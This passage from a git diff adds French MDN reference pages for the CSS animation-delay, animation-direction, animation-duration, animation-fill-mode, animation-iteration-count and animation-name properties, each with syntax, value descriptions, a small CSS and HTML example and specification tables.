+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur par défaut, <code>0s</code>, indique que l'animation doit démarrer dès qu'elle est appliquée. Dans les autres cas, la valeur indique le décalage à observer entre le début de l'animation et le moment où celle-ci a été appliquée sur l'élément.</p>
+
+<p>Si des valeurs négatives sont utilisées, l'animation débutera immédiatement en étant déjà « avancée ». Par exemple, si on utilise la valeur <code>-1s</code> comme durée, l'animation commencera immédiatement avec l'état qu'elle aurait « normalement » eue au bout d'une seconde.</p>
+
+<p>Généralement, on passera par la propriété raccourcie {{cssxref("animation")}} afin de définir l'ensemble des propriétés liées aux animations en une seule fois.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css  no-line-numbers">animation-delay: 3s;
+animation-delay: 2s, 4ms;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>La durée avec laquelle décaler le début de l'animation à partir du moment où celle-ci a été appliquée à l'élément. La valeur peut être indiquée en secondes (<code>s</code> comme suffixe) ou en millisecondes (<code>ms</code> comme suffixe). Si aucune unité n'est définie, la déclaration sera considérée comme invalide.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'on utilise plusieurs valeurs (séparées par des virgules) pour une propriété <code>animation-*</code>, selon leur quantité, elles seront différemment affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : paramétrer <a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS">les valeurs des propriétés pour plusieurs animations</a>.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-delay: 15s;
+  animation-name: glissement;
+  animation-iteration-count: infinite;
+}
+@keyframes glissement {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  La Chenille et Alice se considérèrent un instant en silence.
+  Enfin la Chenille sortit le houka de sa bouche, et lui adressa
+  la parole d’une voix endormie et traînante.
+&lt;/p&gt; </pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-delay', 'animation-delay')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.animation-delay")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Animations/Utiliser_les_animations_CSS">Manipuler les animations CSS</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/animation-direction/index.html b/files/fr/web/css/animation-direction/index.html
new file mode 100644
index 0000000000..ff6036363e
--- /dev/null
+++ b/files/fr/web/css/animation-direction/index.html
@@ -0,0 +1,137 @@
+---
+title: animation-direction
+slug: Web/CSS/animation-direction
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/animation-direction
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>animation-direction</code></strong> indique si les cycles de l'animation doivent être joués dans le sens inverse et/ou de façon alternée.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation-direction.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Généralement, on passera par la propriété raccourcie {{cssxref("animation")}} qui permet de définir les différentes propriétés liées aux animations avec une déclaration.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+animation-direction: normal;
+animation-direction: reverse;
+animation-direction: alternate;
+animation-direction: alternate-reverse;
+
+/* Gestion de plusieurs animations */
+animation-direction: normal, reverse;
+animation-direction: alternate, reverse, normal;
+
+/* Valeurs globales */
+animation-direction: inherit;
+animation-direction: initial;
+animation-direction: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>L'animation est jouée dans le sens normal à chaque cycle. Autrement dit, au début de chaque cycle, l'animation est initialisée dans l'état de début. C'est le réglage par défaut.</dd>
+ <dt><code>reverse</code></dt>
+ <dd>L'animation est jouée dans le sens inverse à chaque cycle. Au début de chaque cycle, l'animation reprend depuis l'état de fin.</dd>
+ <dt><code>alternate</code></dt>
+ <dd>La lecture de l'animation se fait de façon alternée et change de sens à chaque cycle en commençant par le sens normal. Lorsque le sens est inversé, les étapes de l'animation sont effectuées de façon inversée et les fonctions de progression (<em>timing function</em><em>s</em>) sont également inversées (<code>ease-in</code> sera ainsi remplacée par <code>ease-out</code>). Le premier cycle se fait dans le sens normal, le deuxième dans le sens inverse et ainsi de suite.</dd>
+ <dt><code>alternate-reverse</code></dt>
+ <dd>La lecture de l'animation se fait de façon alternée et change de sens à chaque cycle en commençant par le sens inverse (cf. ci-avant). Le premier cycle se fait dans le sens inverse, le deuxième dans le sens normal et ainsi de suite.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'on utiliser plusieurs valeurs, séparées par des virgules, pour une propriété <code>animation-*</code>, selon leur quantité, elles seront différemment affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : paramétrer <a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS">les valeurs des propriétés pour plusieurs animations</a>.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  animation-duration: 5s;
+  animation-name: glissement;
+  animation-iteration-count: infinite;
+}
+
+.aller {
+  animation-direction: normal;
+}
+
+.retour {
+  animation-direction: reverse;
+}
+@keyframes glissement {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="aller"&gt;
+  La Chenille et Alice se considérèrent un instant en silence.
+  Enfin la Chenille sortit le houka de sa bouche, et lui adressa
+  la parole d’une voix endormie et traînante.
+&lt;/p&gt;
+
+&lt;p class="retour"&gt;
+  « Revenez, » lui cria la Chenille. « J’ai quelque chose
+  d’important à vous dire ! »
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-direction', 'animation-direction')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.animation-direction")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Animations/Utiliser_les_animations_CSS" title="Tutorial about CSS animations">Manipuler les animations CSS</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/animation-duration/index.html b/files/fr/web/css/animation-duration/index.html
new file mode 100644
index 0000000000..92edb9d4b5
--- /dev/null
+++ b/files/fr/web/css/animation-duration/index.html
@@ -0,0 +1,110 @@
+---
+title: animation-duration
+slug: Web/CSS/animation-duration
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/animation-duration
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>animation-duration</code></strong> définit la durée d'une animation pour parcourir un cycle.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation-duration.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur par défaut est <code>0s</code>, ce qui indique qu'aucune animation ne doit avoir lieu.</p>
+
+<p>Généralement, on passera par la propriété raccourcie {{cssxref("animation")}} afin de définir, en une seule déclaration, les différentes propriétés liées aux animations.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">animation-duration: 6s;
+animation-duration: 120ms;
+animation-duration: 1s, 15s;
+animation-duration: 10s, 30s, 230ms;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>La durée d'un cycle pour l'animation. Cette valeur peut être indiquée en secondes (<code>s</code> comme suffixe pour l'unité) ou en millisecondes (<code>ms</code> comme suffixe pour l'unité). Si aucune unité n'est définie, la déclaration sera considérée comme invalide.</dd>
+</dl>
+
+<div class="note"><strong>Note :</strong> Les valeurs négatives sont considérées comme invalides. Certaines implémentations, préfixées, considèrent parfois que ces valeurs sont synonymes de <code>0s</code>.</div>
+
+<div class="note"><strong>Note :</strong> Lorsqu'on utiliser plusieurs valeurs, séparées par des virgules, pour une propriété <code>animation-*</code>, selon leur quantité, elles seront différemment affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : paramétrer <a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS">les valeurs des propriétés pour plusieurs animations</a>.</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  animation-duration: 15s;
+  animation-name: glissement;
+  animation-iteration-count: infinite;
+}
+@keyframes glissement {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  La Chenille et Alice se considérèrent un instant en silence.
+  Enfin la Chenille sortit le houka de sa bouche, et lui adressa
+  la parole d’une voix endormie et traînante.
+&lt;/p&gt; </pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-duration', 'animation-duration')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.animation-duration")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Animations/Utiliser_les_animations_CSS">Manipuler les animations CSS</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/animation-fill-mode/index.html b/files/fr/web/css/animation-fill-mode/index.html
new file mode 100644
index 0000000000..415bb13bcd
--- /dev/null
+++ b/files/fr/web/css/animation-fill-mode/index.html
@@ -0,0 +1,190 @@
+---
+title: animation-fill-mode
+slug: Web/CSS/animation-fill-mode
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/animation-fill-mode
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>animation-fill-mode</code></strong> indique la façon dont une animation CSS doit appliquer les styles à sa cible avant et après son exécution.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation-fill-mode.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:  css no-line-numbers">/* Valeurs avec un mot-clé */
+animation-fill-mode: none;
+animation-fill-mode: forwards;
+animation-fill-mode: backwards;
+animation-fill-mode: both;
+
+/* Gestion de plusieurs animations */
+animation-fill-mode: none, backwards;
+animation-fill-mode: both, forwards, none;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>L'animation n'appliquera aucun style à la cible, avant et après l'exécution. Le style utilisé sera celui défini par les autres règles CSS.</dd>
+ <dt><code>forwards</code></dt>
+ <dd>La cible retiendra les valeurs calculées définies lors de la dernière étape (<em>keyframe</em>). La dernière étape considérée dépend de la valeur de {{cssxref("animation-direction")}} et de {{cssxref("animation-iteration-count")}} :
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col"><code>animation-direction</code></th>
+    <th scope="col"><code>animation-iteration-count</code></th>
+    <th scope="col">dernière <em>keyframe</em></th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>normal</code></td>
+    <td>pair ou impair</td>
+    <td><code>100%</code> ou <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>reverse</code></td>
+    <td>pair ou impair</td>
+    <td><code>0%</code> ou <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate</code></td>
+    <td>pair</td>
+    <td><code>0%</code> ou <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate</code></td>
+    <td>impair</td>
+    <td><code>100%</code> ou <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate-reverse</code></td>
+    <td>pair</td>
+    <td><code>100%</code> ou <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate-reverse</code></td>
+    <td>impair</td>
+    <td><code>0%</code> ou <code>from</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>backwards</code></dt>
+ <dd>L'animation appliquera les valeur définies par la première <em>keyframe</em> pertinente et les retiendra pendant la durée indiquée par {{cssxref("animation-delay")}}. La première <em>keyframe</em> pertinente dépend de la valeur de {{cssxref("animation-direction")}} :
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col"><code>animation-direction</code></th>
+    <th scope="col">première <em>keyframe</em></th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>normal</code> ou <code>alternate</code></td>
+    <td><code>0%</code> ou <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>reverse</code> ou <code>alternate-reverse</code></td>
+    <td><code>100%</code> ou <code>to</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>both</code></dt>
+ <dd>L'animation respectera les règles qui s'appliquent à <code>forwards</code> et <code>backwards</code>, entraînant ainsi l'extension des propriétés de l'animation dans les deux directions.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'on utiliser plusieurs valeurs, séparées par des virgules, pour une propriété <code>animation-*</code>, selon leur quantité, elles seront différemment affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : paramétrer <a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS">les valeurs des propriétés pour plusieurs animations</a>.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.demo {
+  border-top: 100px solid #ccc;
+  height: 300px;
+  font-family: sans-serif;
+}
+@keyframes grow {
+    0% { font-size: 0 }
+    100% { font-size: 40px }
+}
+@-webkit-keyframes grow {
+    0% { font-size: 0 }
+    100% { font-size: 40px }
+}
+.demo:hover .grows {
+    animation-name: grow;
+    animation-duration: 3s;
+    -webkit-animation-name: grow;
+    -webkit-animation-duration: 3s;
+}
+.demo:hover .growsandstays {
+    animation-name: grow;
+    animation-duration: 3s;
+    animation-fill-mode: forwards;
+    -webkit-animation-name: grow;
+    -webkit-animation-duration: 3s;
+    -webkit-animation-fill-mode: forwards;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Déplacez votre souris sur la boîte grise.&lt;/p&gt;
+&lt;div class="demo"&gt;
+  &lt;div class="growsandstays"&gt;La boîte grandit et s'arrête&lt;/div&gt;
+  &lt;div class="grows"&gt;La boîte grandit&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples',700,300)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-fill-mode', 'animation-fill-mode')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.animation-fill-mode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Animations/Utiliser_les_animations_CSS">Manipuler les animations CSS</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/animation-iteration-count/index.html b/files/fr/web/css/animation-iteration-count/index.html
new file mode 100644
index 0000000000..1a1cf04a69
--- /dev/null
+++ b/files/fr/web/css/animation-iteration-count/index.html
@@ -0,0 +1,135 @@
+---
+title: animation-iteration-count
+slug: Web/CSS/animation-iteration-count
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/animation-iteration-count
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>animation-iteration-count</code></strong> indique le nombre de cycles utilisés pour répéter une animation avant que celle-ci s'arrête.</p>
+
+<p>Si plusieurs valeurs sont indiquées, à chaque lancement de l'animation, c'est la valeur suivante de la liste qui est utilisée. Lorsqu'on arrive à la fin de la liste, on reprend avec la première valeur de la liste.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation-iteration-count.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Généralement, on utilisera la propriété raccourcie {{cssxref("animation")}} afin de définir toutes les propriétés relatives à une animation.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* Valeur avec un mot-clé */
+animation-iteration-count: infinite;
+
+/* Valeur avec une quantité */
+/* Type &lt;number&gt;            */
+animation-iteration-count: 3;
+animation-iteration-count: 2.3;
+
+/* Gestion de plusieurs animations */
+animation-iteration-count: 2, 0, infinite;
+</pre>
+
+<p>La propriété <code>animation-iteration-count</code> est définie avec une ou plusieurs valeurs, parmi la liste suivante, séparées par des virgules.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>infinite</code></dt>
+ <dd>L'animation sera répétée à l'infini. Dans ce mode d'animation infinie, cette valeur est considérée de la même manière qu'une valeur paire par la propriété <strong><code>animation-direction</code></strong>.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Le nombre de répétitions pour l'animation. La valeur par défaut est <code>1</code> (elle n'est exécutée qu'une seule fois). Les valeurs négatives sont considérées comme invalides. Il est possible d'utiliser des valeurs qui ne sont pas entières pour indiquer des fragments d'un cycle (ainsi <code>0.5</code> indiquera une moitié du cycle de l'animation).</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'on utilise plusieurs valeurs, séparées par des virgules, pour une propriété <code>animation-*</code>, selon leur quantité, elles seront différemment affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : paramétrer <a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS">les valeurs des propriétés pour plusieurs animations</a>.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: glissement;
+  animation-iteration-count: infinite;
+}
+
+.infini {
+  animation-iteration-count: infinite;
+}
+
+.dix {
+  animation-iteration-count: 10;
+}
+
+@keyframes glissement {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="infini"&gt;
+  La Chenille et Alice se considérèrent un instant en silence.
+  Enfin la Chenille sortit le houka de sa bouche, et lui adressa
+  la parole d’une voix endormie et traînante.
+&lt;/p&gt;
+
+&lt;p class="dix"&gt;
+  Voyons si je me souviendrai de tout ce que je savais : quatre fois
+  cinq font douze, quatre fois six font treize, quatre fois sept font
+  — je n’arriverai jamais à vingt de ce train-là.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-iteration-count', 'animation-iteration-count')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.animation-iteration-count")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Animations/Utiliser_les_animations_CSS">Manipuler les animations CSS</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/animation-name/index.html b/files/fr/web/css/animation-name/index.html
new file mode 100644
index 0000000000..69f6f7c251
--- /dev/null
+++ b/files/fr/web/css/animation-name/index.html
@@ -0,0 +1,119 @@
+---
+title: animation-name
+slug: Web/CSS/animation-name
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/animation-name
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>animation-name</code></strong> définit une liste d'animations qui doivent être appliquées à l'élément ciblé. Chaque nom indique une règle @ {{cssxref("@keyframes")}} qui définit les valeurs des propriétés pour la séquence.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation-name.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Généralement, on pourra utiliser la propriété raccourcie {{cssxref("animation")}} pour définir l'ensemble des propriétés liées aux animations.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+animation-name: none;
+
+/* Valeur utilisant un identifiant */
+animation-name: test_05;
+
+/* Gestion de plusieurs animations */
+animation-name: test1, animation4;
+
+/*  Valeurs globales * /
+animation-name: initial
+animation-name: inherit
+animation-name: unset
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Un mot-clé qui indique qu'aucune étape (<em>keyframe</em>) ne sera utilisée. Il peut être utilisée pour désactiver une animation sans changer l'ordre des autres identifiants ou afin de désactiver les animations provenant de la cascade.</dd>
+ <dt>{{cssxref("custom-ident","&lt;custom-ident&gt;")}}</dt>
+ <dd>Une chaîne de caractères qui identifie l'animation. Un identifiant est une séquence, insensible à la casse, de lettres entre <code>a</code> et <code>z</code>, de nombres entre <code>0</code> et <code>9</code>, de tirets bas (<code>_</code>) et/ou de tirets (<code>-</code>). Le première caractère qui n'est pas un tiret doit être une lettre. Il est également interdit d'utiliser deux tirets en début d'identifiant. Enfin, la chaîne de l'identifiant ne peut pas être <code>unset</code>, <code>initial</code>, <code>inherit</code> ou une combinaison analogue avec une casse différente.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'on utiliser plusieurs valeurs, séparées par des virgules, pour une propriété <code>animation-*</code>, selon leur quantité, elles seront différemment affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : paramétrer <a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS">les valeurs des propriétés pour plusieurs animations</a>.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: glissement;
+  animation-iteration-count: infinite;
+}
+@keyframes glissement {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  La Chenille et Alice se considérèrent un instant en silence.
+  Enfin la Chenille sortit le houka de sa bouche, et lui adressa
+  la parole d’une voix endormie et traînante.
+&lt;/p&gt; </pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-name', 'animation-name')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
